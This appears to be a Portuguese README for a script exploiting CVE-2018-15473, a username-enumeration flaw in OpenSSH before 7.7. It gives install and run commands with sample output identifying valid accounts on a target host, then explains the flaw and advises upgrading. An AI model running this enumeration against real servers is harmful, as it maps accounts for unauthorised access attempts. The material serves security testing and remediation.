
OpenSSH 2.3 < 7.7 - Enumeração de Usuários
SSH-Username-Enumeration-Exploit (OpenSSH 2.3 < 7.7)
Versão editada do exploit original: https://www.exploit-db.com/exploits/45233
#Certifique-se de instalar os requisitos:
foo@bar:~$ pip3 install -r requirements.txt
#Para um único nome de usuário:
foo@bar:~$ ./CVE-2018-15473.py 192.168.1.20 -u root
[+] root é um nome de usuário válido
#Para múltiplos nomes de usuário:
foo@bar:~$ ./CVE-2018-15473.py 192.168.1.20 -w username_wordlist.txt
[+] root é um nome de usuário válido
[-] mysql é um nome de usuário inválido
[-] mike é um nome de usuário inválido
[-] foo é um nome de usuário inválido
[-] bar é um nome de usuário inválido
Usuários Válidos:
root
#Para mais opções:
foo@bar:~$ ./CVE-2018-15473.py -h
O sistema responde de forma diferente a tentativas de autenticação válidas e inválidas. Um usuário remoto pode enviar requisições especialmente criadas para determinar nomes de usuário válidos no sistema alvo. Assim, um usuário remoto pode determinar nomes de usuário válidos no sistema alvo.
O servidor OpenSSH deve ser atualizado para a versão 7.7 ou superior.